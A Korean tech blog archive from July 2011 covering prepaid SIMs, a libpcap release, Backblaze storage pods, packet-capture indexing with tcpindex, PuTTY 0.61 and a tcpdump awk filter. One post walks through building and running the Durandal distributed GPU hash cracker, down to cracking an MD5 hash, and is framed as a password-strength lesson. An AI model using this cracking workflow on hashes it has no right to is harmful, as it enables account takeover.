2011년 7월 31일 일요일

오스트리아에서 선불 SIM 카드 사용하기, 1GB 인터넷에 9.98 유로


저번에 오스트리아 비엔나에 출장다녀오면서 사용한 선불카드에 대해서 공유해 보고자 한다. 유럽에서 사용가능한 몇가지 선불카드가 있지만, 그중에서도 필자가 사용한 Yesss! 를 소개한다.

통신사는 Yesss! 이고, 대표적인 할인마트인 Hofer 에서 판매하는 저렴한 이동통신 브랜드이다. 듣기로는 Hofer 매장이 많다고 하였는데, 막상 비엔나에서 찾아보려는데 쉽게 눈에 띄이지는 않았다. 이리저리 발품을 찾아서 가 보았더니, 노란색의 선불심을 볼 수 있었는데 인터넷 데이터 용도로만 사용한다면 데이터용을 구매해야 한다. 음성용도 있기 때문에, 구매에 주의해야 한다.  일단 내가 구매한 것은,

yesss! Starter-Set Mobiles Internet 1 GB

으로, 가격은 9.98 유로 이다. 10유로는 가격에 1기가 데이터라 출장중 불편하지 않게 사용이 가능하였다. 선불심이므로 따로 개통같은 것은 필요하지 않고, SIM 카드만을 교체해 사용하면 된다.

SIM 카드를 교체 후, 약간의 작업만이 필요한데 모바일 네트워크 설정에서 APN 을 설정해 주어야 한다. 안드로이드 경우라면, 설정에서 네트워크 사업자 쪽에서 새롭게 프로파일을 'YESSS' 로 만들어주고, APN 이름에 "web.yesss.at" 을 입력해 주고 사용자 이름/패스워드는 빈 공간으로 두면 된다. 그리고 만든 프로파일을 선택 후 사용하면 사용 OK 다.

그리고, 안드로이드 경우는 해외 데이터 로밍이 허용 가능으로 선택되어 있지 않으므로, 선택해 주어야 한다. 다만, 주의할 점은 원래의 SIM 카드로 변경할때는, 해외 데이터 로밍으로 선택되어 있으면 나도 모르게 데이터 로밍이 이용될 수 있으므로, 국내 SIM 카드로 변경 전에 데이터 로밍을 해제해 주는 것이 필요하다. 안 그랬다간, 요금 폭탄을 맞을 수 있다는 사실!

참고로, 구글 네비게이션 사용도 가능하다. 해외에서 선불카드를 사용하고자 하는 분들에게 도움이 될까 하여, 기록을 남겨둔다.

[참고]
1. Yesss 상품
https://www.yesss.at/diskont-shoppen/mobiles-internet/3/9cd130de50fce4d5c105151474f7d534



2011년 7월 28일 목요일

Libpcap 1.2, Tcpdump 4.2 베타 버전 릴리즈

Libpcap 이 2010년 8월 1.1.2 버전을 나온이후로 오랜만에 새로운 버전이 릴리즈가 되었다.
앞 버전 번호를 크게 바꾼 1.2 버전으로 나타났다. 이번 버전에는 1.1.1 과 1.1.2 에서 변경된 모든 코드들이 다 포함되어 있고, pcap_findalldevs() 에 대한 에러핸들링도 변경되었다. 이에 몇가지 링크 레이어 타입이 추가되고 memory-mapped 캡쳐의 프레임 사이즈 계산도 수정되었다.

이외 tcpdump 버전도 4.2 로 릴리즈 되었으니, 이번기회에 libpcap 과 tcpdump 가 오래된 버전이라면 한번 업데이트 하는 것도 좋을것 같다. 다만, 아직 libpcap 1.2 , tcpdump 4.2 는 베타 릴리즈 상태이다.

[다운로드]

2011년 7월 25일 월요일

135 테라 스토리지를 단지 $7,384 에 만든다. 그 비밀은?

몇일전 흥미로운 글 하나를 보았다. 효율적인 인프라구성에도 많은 관심을 가지고 있는데, BackBlaze 라는 곳에서 직접 만든 스토리지 박스에 대해서 세부적으로 공개했다. 각 사용된 부붐과 케이스 설계도등을 포함해 모두 공개되어 있어 이와 같은 스토리지 박스를 만들고자 하는 사용자에게는 도움이 될것 같다. 여기서 처음에 만든 박스는 67 테라바이트 였고, 이번에 만든것은 135 테라 바이트이다.

Storage Pod 1.0, 2.0 이름으로 나뉘며 4U 서버에 구성되어 있다. Storage Pod 2.0 135 테라 바이트는 제작하는데 $7,384 가 들었다고 한다. BackBlzae 는 온라인 백업 서비스를 제공하는 업체이며, 늘어나는 스토리지 용랴에 대한 고민을 하다 직접 스토리지 박스를 제작하게 되었다. EMC, NetApp 등과 같은 전문 스토리지 제작업체에서 판매하는 스토리지는 고가이다 보니 그들만의 효율적인 스토리지 필요하였던 것이다.

아래 그래프를 보면 3년동안 1 페타바이트를 운영했을때의 비용을 산출한 것이다. BackBlaze 는 $56,696 인데 비해 델은 $378,500 비용이 들었다. 델이 그나마 저가의 스토리지 임을 감안했을때 다른 스토리지는 더 큰 비용의 차이가 발생할 것이다. 필자도 패킷파일을 보관하기 위해 수테라의 스토리지를 운영하는데, 빠르게 증가하는 패킷파일의 보관을 생각하면 스토리지 비용을 무시할 수가 없다. 물론, 아주 큰 스토리지 용량을 필요로 하는 것은 아니기 때문 단일 제품을 구매해 사용하는 것이 효과적일 수도 있지만, 데이터센터와 같이 아주 큰 용량을 필요로 하는 곳에서는 이와 같이 직접 스토리지를 직접 만들어 사용하면 큰 비용절감을 가져올 수 있을 것이다.


[출처] Backblaze : 3년간 페타바이트 운영비용

아래 그림은 데이터센터에 설치된 스토리지이고, 하나의 랙에 1 페타바이트 구성으로 $56,696 이 소요되었다.


소개된 블로그 내용을 기준으로 기술적으로 조금 살펴보면, 히타치 3테라 디스크가 사용되었다. 웨스턴디지털, 시게이트 드라이브도 테스트 하였지만, 히타치 제품이 좋은 성능을 보였다고 한다.

인텔 i3 540 CPU 를 사용하였고 메모리는 1.0 버전 2배 크기인 8 기가로 확장하였다. 더 많은 램은 디스크 캐쉬를 더 많이 할 수있어, 성능을 높일 수 있었다고 한다. SATA 카드에서 I/O 를 줄이기 위하여, 4개의 SATA 포트가 달린 3개의 SATA 카드를 장착하였다. 이로인해 45 개의 디스크를 꼽을 수 있었다.


[출처] Backblaze : Pod 2.0 SATA Wiring Diagram

64비트 데비안 5가 설치되었고, 1.0 에서 사용한 JFS 파일시스템 대신, ext4 파일시스템을 선택하였다. 신뢰성, 성능면에서 좋은 면을 보여주었기 때문인데 16테라의 볼륨 크기 제한이 있다는 단점이 있다. 그래서 LVM(Logical Volumne Manager) 으로 볼륨을 묶었고 RAID 6 로 구성하였다. RAID 6 는 보통 많이 사용하는 RAID 5 에 추가로 한개의 패리티가 더 있는 것으로, RAID 로 묶인 디스크에서 최대 2개까지의 디스크 Fail 까지는 보장한다.
성능적으로 1.0 보단 많이 향상되어서 67 테라 바이트트를 채우는데 25일이 걸렸는데, 2.0 인 135 테라바이트로도 25일이 걸렸다고한다.

즉, 기술적으로만 보면 크게 어려운 부분은 없다. 물리적으로 45개의 디스크를 커버할 수 있는 것이 필요하고 그 이후는, 똑같이 운영체제 시스템 관점에서 디스크를 묶고 관리하는 기술이 필요한 것이다. 하지만 스토리지를 만드는 것을 떠나, 더 중요한 것은 이것을 어떻게 사용하고 관리를 하느냐 하는 것이다. 안정적으로 운영할 수 있는 노하우도 있을 것이며, 모니터링이며 기타 관리적 부분을 생각하면 생각보다 검토해야 할 사항이 많아진다.

이들이 얘기하기에 대략 주당 10개의 디스크를 교체한다고 한다. 이것은 전체 디스크에서 년간 약 5% 정도의 디스크 Fail 이 있다고 한다. Storage Pod 2.0 에서는 히타치 디스크를 사용하였고, 1% 이하로 실패율을 보고 있다. 이렇게 운영하기 까지 수 많은 테스트와 경험에서 계속 발전시켜 나가고 있는 것이다. 이외, 랙에서 제일 하단에 있는 스토리지 박스보다 상단에 있는 것이 평균적으로 3도 정도 온도가 높았고 온도와 디스크 오류와는 큰 상관관계를 발견하지는 못했다고 한다. 직접 디스크를 구매하여 운영하는 장점중의 하나는 구성된 모든 파트가 3년의 워런티를 가지고 있다는 것이다. 예를 들어, 디스크가 Fail 나면 그냥 무상으로 디스크를 교체받기 때문에 3년동안 이런 비용은 크게 작용한다. 스토리지 리셀러의 경우는 지원 비용 같은게 있기 때문에 운영비용은 더 높아질 수 있다고 볼 수 있다.

이번 소개된 글을 보고 간접적으로 많이 배울 수 있었다. 어떻게 보면  45개 디스크 사다가 꼽아서 구성하면 되는거 아니냐고 쉽게 이야기하는 사람도 있을 것이다. 또는, 상업용 서비스로 사용하기에 RAID 6 로는 부족하고 기타 안정적으로 운영할 수 있겠냐고 반문하는 사람도 분명 있다. 하지만, 나는 그렇게 생각하지 않는다. 이렇게 공유한 경험이 단순해 보일지 모르지만 실제 구성하기 까지 많은 시행착오를 겪었을 것이고, 이런 데이터를 통해 앞으로 스토리지를 계획하고 있는 사람들에게 충분히 큰 도움이 되는 것이라고 본다. 그리고 RAID 6 가 부족해 보일지 모르지만, 이것은 실제로 어떤 방식으로 구성하여 운영할지 모르기 때문일 것이다. 단순히 구성한 물리적인 RAID 6 구성 만이 아닌, 로지컬적인 구성을 통해 충분히 Disk Fail 을 커버할 수 있는 디자인을 하면 된다. 하둡같은 것을 통해 각 디스크를 구성해 Copy 본 3개 정도 유지하면 된다. 실제로 서비스를 운영하는 입장에서는 보통 3개정도의 복사본을 유지하고 있는 것으로 알고 있다.

이들이 공유한 것에서 무엇을 배울 수 있었고, 내가 사용하는 인프라에 어떻게 녹여들일 수 있을까를 한번 생각해 보자. 필자는 이들의 이런 Experience 공개에 대해 박수를 쳐주고 싶다.
가끔 보면, 인프라를 구성할때 용도에 맞지 않게 아주 큰 시스템을 장만하거나, 단지 업체가 제안해 주는 형태로만 디자인을 하는 경우가 많다. 운영할 대상에 따라 이것은 아주 달라진다. 최고의 효율을 내기 위해 고민해야 할 부분이 많다는 것이다. 스토리지라는 관점에서만 봐도, 어떤 RAID 구성을 할 것이며, 파일 시스템은 무엇을 쓰며, 하드웨어 RAID 구성일 경우 Striping 사이즈는 무엇이 적당하며, Read/Write 중 무엇이 더 중요한지등 다양한 요소가 있다.

그런데 많은 경우가 Default 설정을 그대로 이용한다. 당신이 프로라고 생각한다면 다시 한번 무엇이 최고의 효율을 가져다 줄 수 있는 것인지 생각해 보아야 할 것이다.

이상, 필자의 넋두리를 끝내며 아래 도표는 Storage Pod 2.0 에서 사용한 각 부품 가격이다.



[출처] Backblaze : 각 부품별 가격

[참고]
1. BackBlaze Storage Pod 2.0
http://blog.backblaze.com/2011/07/20/petabytes-on-a-budget-v2-0revealing-more-secrets/

2011년 7월 19일 화요일

패킷 데이터 문자열을 인덱스화하여 빠르게 검색하기

패킷 캡쳐파일을 다루다 보면, 큰 패킷파일을 도대체 어떻게 다뤄야 할까 하는 고민이 들게 마련이다. 이럴때 조금은 유용하게 사용할 수 있는 것이 있다. 패킷 데이터의 문자열을 인덱스 하여 빠르게 검색할 수 있도록 도와주는 것이다. 사용하려는 목적에 따라 다르겠지만, 이것을 응용해서 여러분들에게 딱 맞는 소프트웨어로도 변신할 수 있다.

일단, 프로그램 이름은 'tcpindex' 이다. 문자열들을 인덱스하여 빠르게 검색할 수 있도록 도와준다. Pcap 라이브러리가 기본적으로 사용되고, 텍스트 검색 기능을 위해 CLucene 가 사용되었다. CLucene 는 Lucene 의 C++ 로 포팅된 라이브러리로 빠른 성능의 검색 기능을 제공한다.

윈도우에서도 사용가능하며, 다운로드는 다음 경로를 통해서 할 수 있다.
윈도우 버전은 위 경로에서 바로 받아 사용하면 되고, 리눅스의 경우는 간단히

# ./configure
# make
# make install

과정을 거쳐서 사용하면 된다.

Tip!
나의 경우는 컴파일을 하다 아래와 같은 에러가 나타났다.

# make
stream_packet.h: In member function ‘void
stream_packet_t::read_bytes(uchar*, uint)’:
stream_packet.h:72: error: ‘memcpy’ was not declared in this scope
In file included from tcpindex.h:52,
                from main.cpp:20:
session.h: In constructor ‘session_t::session_t(uint, uint, uchar,
ushort, ushort)’:
session.h:61: warning: deprecated conversion from string constant to ‘char*’
In file included from main.cpp:20:
tcpindex.h: In constructor ‘options::options()’:
tcpindex.h:83: warning: deprecated conversion from string constant to ‘char*’
이런 경우는,
stream_packet.h 에 ' #include <string.h> '를 삽입하고 컴파일을 하면 무리없이 컴파일이 된다.

컴파일을 하고 사용방법을 보면 아래와 같다. 사용 설명은 리눅스 기준이지만, 윈도우의 바이너리 형태도 같다고 보면 된다.

# tcpindex -h
Usage: tcpindex [OPTIONS] [QUERY STRING]
Capture packets on a network interface and index packets containingso they
can be rapidly searched for keywords.

 -D, --list-interfaces  list the available network interfaces
 -i, --interface=INDEX  specify index of the interface to capture packets on
 -l, --index-dir=DIR    specify the directory for the search index (default is
                        'index_data')
 -h, --help             give this help
 -q, --query            specify a keyword query to perform against the index
 -s, --save-data        whether to save session data to individual files as
                        well as the index
 -v, --verbose          output verbose debugging messages

Example usage to capture and index data:
 tcpindex -i 1
Example usage to query:
 tcpindex -q +referer +aol

옵션은 많지 않고, 대충 보아도 사용방법을 눈치챌 수 있을 것이다. -i 는 인터페이스를 지정하고 -l 은 인덱스 경로 그리고 -q 는 쿼리를 뜻한다. -D 는 사용가능한 인터페이스 목록을 보여준다.

# tcpindex -D
1: eth0
   (null)
2: any
   Pseudo-device that captures on all interfaces
3: lo
   (null)
No interface specified.

일단, -i 로 인터페이스를 지정하고 실행해 보자. 인덱스 경로를 따로 지정하지 않으면 프로그램을 실행한 경로 기준으로 인덱스 파일이 생성된다.

# tcpindex -i eth0
중지는 Ctrl+C 를 눌러서 하면 된다. 이후, ls 로 목록을 살펴보면 아래와 같다:

# ls
index_data

TCP-192.168.0.203_39551-174.37.113.144_80
TCP-192.168.0.203_39552-174.37.113.144_80
TCP-192.168.0.203_39553-174.37.113.144_80
TCP-192.168.0.203_40924-74.125.127.128_80
TCP-192.168.0.203_42525-74.125.224.249_80
TCP-192.168.0.203_42530-74.125.224.249_80
TCP-192.168.0.203_44927-74.125.224.235_80
TCP-192.168.0.203_45103-74.125.127.121_80
TCP-192.168.0.203_47094-74.125.127.132_80
TCP-192.168.0.203_49501-74.125.224.243_80
TCP-192.168.0.203_57709-208.70.196.59_80
TCP-192.168.0.203_57710-208.70.196.59_80
TCP-192.168.0.203_57714-208.70.196.59_80
TCP-192.168.0.203_58132-74.125.127.95_80
TCP-192.168.0.203_60412-74.125.224.159_80


TCP 로 처음 시작하며 IP 주소와 포트 번호가 있는 것은 실제 데이터의 문자열 정보가 담겨 있는 것이다. 그리고 index_data 디렉토리 안에 인덱스가 있다.

인덱스를 이용한 검색을 하기 위해서는 -q 옵션을 사용한다. packetinside.com 으로 검색해 보았다.

# tcpindex -q packetinside.com
Searching for: packetinside.com

1. TCP-192.168.0.203_36292-74.125.127.191_80 - 0.18340063
 ; __utmz=150635877.1310986907.36.22.utmcsr=<B>packetinside.com</B>|utmccn=(referral)|utmcmd=referral|utmcct...=<B>packetinside.com</B>|utmccn=(referral)|utmcmd=referral|utmcct=/2011/05/nix.html
If-Modified-Since: Mon.
2. TCP-192.168.0.203_36351-74.125.127.191_80 - 0.16210480
 =150635877.1.10.1310986907; __utmc=150635877;
__utmz=150635877.1310986907.36.22.utmcsr=<B>packetinside.com</B>|utmccn.


Search took: 0 ms.

와우, 빠른 속도로 검색되어 나타난다. * 과 같은 와일드카드 형태도 사용 가능한데 아래와 같이 결과가 보인다.

# tcpindex -q packet*inside
Searching for: packet*inside

1. TCP-192.168.0.203_36292-74.125.127.191_80 - 0.12968384
 .
2. TCP-192.168.0.203_44927-74.125.224.235_80 - 0.12968384
 .

Search took: 0 ms.

~는 Fuzzy 서치 형태인데 알고리즘에 따른 검색이라 그런지, 시간은 조금 더 소요된다.

# tcpindex -q packet~
Searching for: packet~0.5

1. TCP-192.168.0.203_57709-208.70.196.59_80 - 0.22925079
 .
2. TCP-192.168.0.203_57713-208.70.196.59_80 - 0.18340063
 .

Search took: 3 ms.

이외 AND 오퍼레이트 사용도 가능하다.

# tcpindex -q +host "packetinside.com" AND GET
Searching for: +host +packetinside.com +get

# tcpindex -q +host +referer| grep packet
<B>Referer</B>:
http://www.packetinside.com...,firstScrollTime.1571,ol.1912 HTTP/1.1
<B>Referer</B>: http://www.packetinside.com...GET
/dyn-css/authorization.css?targetBlogID=4889001868370773649&zx=ad647330-a785-43be-847d-67c0566003e4
HTTP/1.1
<B>Referer</B>: http://www.packetinside.com.
<B>Referer</B>: http://www.packetinside.com/2011/07/cpugpu-durandal.html
<B>Host</B>: www.packetinside.com
<B>Referer</B>: http://www.packetinside.com/
<B>Host</B>: www.packetinside.com
<B>Referer</B>: http://www.packetinside.com/search/label/winpcap

매칭되는 부분은 <B> 와 </B> 로 둘러 쌓인다. 검색 조건과 관련해서는 Lucene 의 문법 형태를 참고해 보기 바란다. 아주 큰 데이터로 테스트 해보지는 않았지만, 문자열 기준으로 의심스러운 패턴을 찾아내거나 기타 패킷 문자열 검색 형태로는 유용하게 사용될 수 있으리라 생각된다.

도구 자체의 순수 기능만 보기 보다는 이것을 활용해서 다양하게 이용할 수 있다는 것을 잊지만 말자!

[참고]
1. TcpIndex 다운로드
http://www.gotomanage.com/open_source_tools/tcpindex_thankyou
2. Lucene 쿼리 파서 문법
http://lucene.apache.org/java/2_3_2/queryparsersyntax.html
3. Clucene
http://clucene.sourceforge.net/

2011년 7월 15일 금요일

4년만의 PuTTY 터미널 업데이트 0.61 버전

윈도우 환경에서 터미널 접속을 하는 분들은 PuTTY 를 많이 사용하기도 한다. 무료로 사용할 수 있거니와, 심플하기 때문이다. 나 또한 윈도우 환경에서는 PuTTY 를 주로 사용하는데, 거의 4년이 넘어서 업데이트 된 버전이 나왔다. 2007년4월29일 0.60 버전이 나왔고, 2011년7월12일 드디어 0.61 버전이 나온것이다 :-)

몇가지 새로운 기능과 버그픽스 그리고 윈도우 7, 여러 다양한 SSH 서버와의 호환성이 업데이트 되었다. 세부적인 업데이트 내역은 다음과 같다.

  • Kerberos/GSSAPI authentication in SSH-2.
  • Local X11 authorisation support on Windows. (Unix already had it, of course.)
  • Support for non-fixed-width fonts on Windows.
  • GTK 2 support on Unix.
  • Specifying the logical host name independently of the physical network address to connect to.
  • Crypto and flow control optimisations.
  • Support for the zlib@openssh.com SSH-2 compression method.
  • Support for new Windows 7 UI features: Aero resizing and jump lists.
  • Support for OpenSSH AES-encrypted private key files in PuTTYgen.
  • Bug fix: handles OpenSSH private keys with primes in either order.
  • Bug fix: corruption of port forwarding is fixed (we think).
  • Bug fix: various crashes and hangs when exiting on failure,
  • Bug fix: hang in the serial back end on Windows.
  • Bug fix: Windows clipboard is now read asynchronously, in case of deadlock due to the clipboard owner being at the far end of the same PuTTY's network connection (either via X forwarding or via tunnelled rdesktop).

다운로드는 다음 경로에서 가능하다.

http://www.chiark.greenend.org.uk/~sgtatham/putty/

2011년 7월 14일 목요일

분산 기반의 CPU/GPU 해쉬 크랙 프로젝트 'Durandal'

이전에 해쉬 값 크랙과 관련하여 몇번 소개한 적이 있다. 오늘은 분산 기반의 GPU 를 이용한
해쉬 크랙 프로젝트인 'Durandal' 을 알아볼까 한다. 여기서 언급하는 것은,  보안적인 관점에서 소개하는 것이지, 악의적 형태로 이용되기를 원하지는 않는다. 암호화된 패스워드도 얼마나 쉽게 깨질 수 있는지, 왜 패스워드 문자열을 길게 사용해야 하는지 그 이유를 알게될 것이다.

우선 이와 관련해 소개된 이전 블로그를 참고해 보기 바란다.

2010년09월15일 8자리 패스워드는 저리가~ 12자리 패스워드를 사용하자 
2010년11월23일 당신의 패스워드는 안전한가? 클라우드 기반 패스워드 크랙킹
2010년12월01일 자바스크립트기반의 분산 해쉬 크랙킹

일단, Durandal 은 아래 사이트를 방문하면 정보를 얻을 수 있다.
http://durandal-project.org/

윈도우, 리눅스를 지원하며 현재는 64비트만 코드가 공개되어 있다. 32비트도 곧 공개되어 질 것이라고 한다. MD5, SHA1, SHA256, SHA512, NTLMv1, MySQL 의 HASH 를 지원하며, Nvidia 의 CUDA 를 지원한다. 즉, GPU 이용이 가능하며 또 다른 주요 특징으로 분산처리가 지원된다는 점이다.

윈도우 사용자는 바이너리를 다운로드 받아 사용할 수 있으며, 리눅스 사용자라면 아래와 같은 방법으로 하면 된다. 필자가 좋아하는 데비안 사용자라 가정하면, 우선 컴파일에 필요한 패키지를 설치하고 소스를 받아 컴파일을 하면 된다.

$ apt-get install cmake make g++ libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev

$ git clone http://durandal-project.org/durandal/

$ cd durandal

$ ./install_linux.sh

컴파일이 완료된 후 부터는 따로 어떤 메뉴얼이 없어서, 직접 실행해 보고야 알았다. 설치된 후 바이너리도 해당 디렉토리 밑에 있는 것이 아니라 한단계 상위 디렉토리인 bin 아래에 들어 있다.

# ls -l
total 48592
-rwxr-xr-x 1 root root 13972420 Jul 12 22:11 admin
-rwxr-xr-x 1 root root 18445133 Jul 12 22:13 agent
-rwxr-xr-x 1 root root    98929 Jul 12 22:13 cudump
-rwxr-xr-x 1 root root 17149247 Jul 12 22:14 durandal

durandal 은 메인 서버로 동작하는 프로그램이다. 실행하게 되면 포트번호 지정과 패스워드
그리고 관리용 포트, 관리용 패스워드를 정의한다.

# ./durandal
________                                  .___        .__
 \______ \  __ ______________     ____   __| _/_____   |  |
 |    |  \|  |  \_  __ \__  \   /    \ / __ | \__  \  |  |
 |    `   \  |  /|  | \// __ \_|   |  | /_/ |  / __ \_|  |__
 /_______  /____/ |__|  (____  /|___|  |____ | (____  /|____/
        \/                  \/      \/     \/      \/
Durandal Server 0.5

Distributing server port ? 1111
Password for distributing server ?
Administration server port ? 1112
Password for administration server ?

Daemonizing server...
서버포트는 1111, 그리고 관리용은 1112 로 지정하였다.  프로세스를 확인해 보면 동작하고
있음을 알 수 있다.

# ps -ef | grep durandal
root     29331     1  0 22:26 ?        00:00:00 ./durandal
root     29335 19079  0 22:26 pts/7    00:00:00 grep durandal
# netstat -na | grep 1111
tcp        0      0 0.0.0.0:1111            0.0.0.0:*               LISTEN

다음으로는 agent 를 동작시켰다. 앞서 정의한 Durandal 서버 접속 주소와 패스워드를 입력한다.
사용될 CPU 는 자동으로 검출되어 8개를 입력하였고, GPU 도 자동으로 잘 인식되었다.
그러면, 몇 가지 Hash 기능등을 테스트 하면서 얼마나 빠른 속도로 가능한지 수치를 보여준다. Bruteforce 로 md5 를 할 경우 초당 138.576 Mhash 가 나왔다. GPU 의 힘인가 보다.

# ./agent

________                                  .___        .__
 \______ \  __ ______________     ____   __| _/_____   |  |
 |    |  \|  |  \_  __ \__  \   /    \ / __ | \__  \  |  |
 |    `   \  |  /|  | \// __ \_|   |  | /_/ |  / __ \_|  |__
 /_______  /____/ |__|  (____  /|___|  |____ | (____  /|____/
        \/                  \/      \/     \/      \/
Durandal Agent 0.5

Durandal server (host:port)? localhost:1111
Password?
Proxy (host:port, empty if no)?
8 CPU(s) detected. How many CPU(s) to use? [default: 8]
1 CUDA-device(s) detected (GeForce GTS 450).
How many device(s) to use? [default: 1]

Intel(R) Core(TM) i7 CPU         870  @ 2.93GHz: 8 hardware threads
CUDA support loaded: 1 CUDA-device(s) (GeForce GTS 450)
Remote Durandal server: localhost:1111
Proxy: no

Evaluating graphic card, your screen may freeze (it can take several
minutes)... done.

Benchmarking hash functions for bruteforce attack... done.

Benchmarking hash functions for dictionary attack... done.

Benchmarking hash functions for markov attack... done.

Benchmarks for bruteforce attack :
md5: 138.576 Mhash/s
sha1: 47.7707 Mhash/s
sha256: 9.47407 Mhash/s
ntlmv1: 91.8744 Mhash/s
mysql: 10.161 Mhash/s
mysqlpre4.1: 195.07 Mhash/s

Benchmarks for dictionary attack :
md5: 19.25 Mhash/s
sha1: 13.8209 Mhash/s
sha256: 7.54898 Mhash/s
ntlmv1: 31.337 Mhash/s
mysql: 8.91741 Mhash/s
mysqlpre4.1: 41.478 Mhash/s

Benchmarks for markov attack :
md5: 39.5677 Mhash/s
sha1: 16.8386 Mhash/s
sha256: 8.2687 Mhash/s
ntlmv1: 43.7967 Mhash/s
mysql: 10.689 Mhash/s
mysqlpre4.1: 55.4634 Mhash/s

Segmentation fault

그런데 나의 경우는 Segmentation 이 발생하였다. 간단히 살펴보았더니, 앞서 서버 접속주소를
localhost 로 사용하였는데, 127.0.0.1 로 다시 지정하니 문제 없었다. 약간의 버그등은 있다.

다시 제대로 실행되면 아래와 같은 문구가 계속 나온다. 즉, 에이전트로서 명령을 기다리고 있다는 것이다.

No running jobs
No running jobs
No running jobs
No running jobs
No running jobs
No running jobs
No running jobs

그럼, 이제 admin 을 접속해 보자. 접속하면 사용 가능한 명령어들이 나오는데, 테스트로
다음의 MD5 를 넣어보았다.

21232f297a57a5a743894a0e4a801fc3

사전방식이 아니라 bruteforce 방식으로 지정했다.
$ ./admin
Usage: ./admin server [-p port] [-k password]
$ ./admin 127.0.0.1 -p 1112 -k 1111
Commands:
add <computation_mode = bf,dico> <hash_type> <hash> [charset]
[time_task] [max_len_pass]
add <computation_mode = markov> <hash_type> <hash> <-time or -level>
<value> <max_len_pass> [time_task]
del <job_id>
show running jobs
show complete jobs
show stats
estimate mkvtime <markov_level> <max_len_pass>
estimate mkvlevel <computation_time> <max_len_pass>
> add bf md5 21232f297a57a5a743894a0e4a801fc3
> show stats
-------------
Global benchmark: 0 MHash/s
> show stats
banana - 127.0.0.1: 138 MHash/s, Intel(R) Core(TM) i7 CPU         870
@ 2.93GHz (8 core(s)), GeForce GTS 450 (1 device(s))
-------------
Global benchmark: 138 MHash/s
Add 를 하게 되면 아래와 같이 agent 콘솔에서 Job 을 받았다는 메시지가 나타난다.

No running jobs
No running jobs
No running jobs
No running jobs
Job#0 Task#0 : Z to miWjFj on 21232f297a57a5a743894a0e4a801fc3 (md5)
No running jobs
No running jobs

금방 작업이 끝난 것 같은데, show complete jobs 로 확인해 보면 HASH 해독 결과가 나타난다.
패스워드는 "admin" 이라고 말이다. 2분도 안되는 시간에 금방 해독이 되었다.

> show stats
> show complete jobs
Job 0 : bruteforce attack on md5 hash 21232f297a57a5a743894a0e4a801fc3
with charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,
task time 120 sec, max length pass 15, result : "admin"
>

다음으로는 조금 더 긴 문자열인 'packetinside' 를 사용하였다. 그런데, 계속 해독작업이 진행되며 Job 이793 번까지 실행되는 과정까지도 해독되지 않았다. 패스워드가 길어짐에 따라, 해독하는 시간도 상당히 증가한 것이다. (2틀이 지난 시점까지도 해독되지 않았다)

No running jobs
Job#2 Task#0 : Z to miWjFj on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#1 : miWjFj to zpRsjsZ on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#2 : zpRsjsZ to MwMBNAY on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
.
.
.
Job#2 Task#787 : MMxQHTtO to ZTsZlctO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#788 : ZTsZlctO to mboiQksO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#789 : mboiQksO to zijrutrO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#790 : zijrutrO to MpeAYBqO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#791 : MpeAYBqO to ZwZICKpO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#792 : ZwZICKpO to mEURgToO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#793 : mEURgToO to zLPaLboO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)

왜, 패스워드를 단순하게 사용하면 안되는지를 보여주는 것이다. 물론, 컴퓨팅 파워를 상당히 높이면 초당 처리할 수 있는 HASH 는 훨씬 높아질 것이다. 더군다나, 분산기술을 이용하고 GPU 를 사용하니 좋은 성능의 컴퓨터 시스템만 구성하여 배치한다면 해독 시간은 짧아질 것이다.

자, 그렇다면 이제 여러분이 해야 할 일은, "패스워드를 길게 사용합시다" :-)

/Rigel

2011년 7월 12일 화요일

Tcpdump 의 출력내용을 내가 원하는 형태로 바꾸어 보자.

예전에 검색하다 Tcpdump 필터를 하나 발견한 것이 있다. AWK 로 제작한 간단한 스크립트로 Tcpdump 의 출력내용을 awk 로 파싱하여 좀더 보기 쉽게 출력한 것이다. 다음은 일반적으로 tcpdump 를 통해 출력한 내용의 일부분이다.

# tcpdump -i eth0 -s1550 -x


09:26:19.571231 IP 202.131.29.71.www > 192.168.15.11.60478: . 1:1461(1460) ack 658 win 6570
0x0000:  4500 05dc 89d8 4000 3406 ffc5 ca83 1d47
0x0010:  c0a8 0f0b 0050 ec3e b64f e2ba e85c e4e9
0x0020:  5010 19aa 1b94 0000 4854 5450 2f31 2e31
0x0030:  2032 3030 204f 4b0d 0a44 6174 653a 204d
0x0040:  6f6e 2c20 3131 204a 756c 2032 3031 3120
0x0050:  3133 3a32 363a 3137 2047 4d54 0d0a 5365
0x0060:  7276 6572 3a20 4170 6163 6865 0d0a 4c61


물론 -X 옵션과 같은 몇 가지를 조합하면 ASCII 값도 출력시키면서 조금은 더 보기 좋게 볼 수 있다. 여기서 소개하는 것을 이용하면 아래 화면과 같은 형태로 출력된다.


상단에 헤더정보가 요약되어 보이고 다음에 스트링 문자열을 보여준다. 사용방법은 아래 경로에서 스크립트를 다운로드 받고,

# tcpdump -i eth0 -l -s 65535 -x | fil

과 같이 사용하면 된다. 그냥 간단히 덤프하는 출력 내용을 fil 로 전달하는 것 뿐이다.

http://www.ishiboo.com/~danny/Projects/tcpdump.awkfilter/fil

요새는 워낙 좋은 도구들이 많이 나와있다보니 이런 필터가 큰 의미가 있을까 하는 분들도 있을 것이다. 나또한 이 필터의 직접 적인 출력 내용보다도 이런 방식으로 활용할 수 있다는 것을 여러분들에게 소개해 주고 싶은 것이다. Awk 로 만들어져 있지만, 이외에도 다양한 스크립트를 이용할 수 있다.  업무에 따라, 필요로 하는 정보가 조금씩 달라진다. 그럴때 나에게 맞는 도구를 간단히 만들어 응용해 보면, 더욱 효과적인 패킷 분석이 가능해 진다.  꼭, 어렵게 생각할 필요는 없다. 기존에 나와있는 도구를 잘 응용하면 여러분이 원하는 도구로 쉽게 만들어 버릴 수 있다는 사실을 잊지말자!

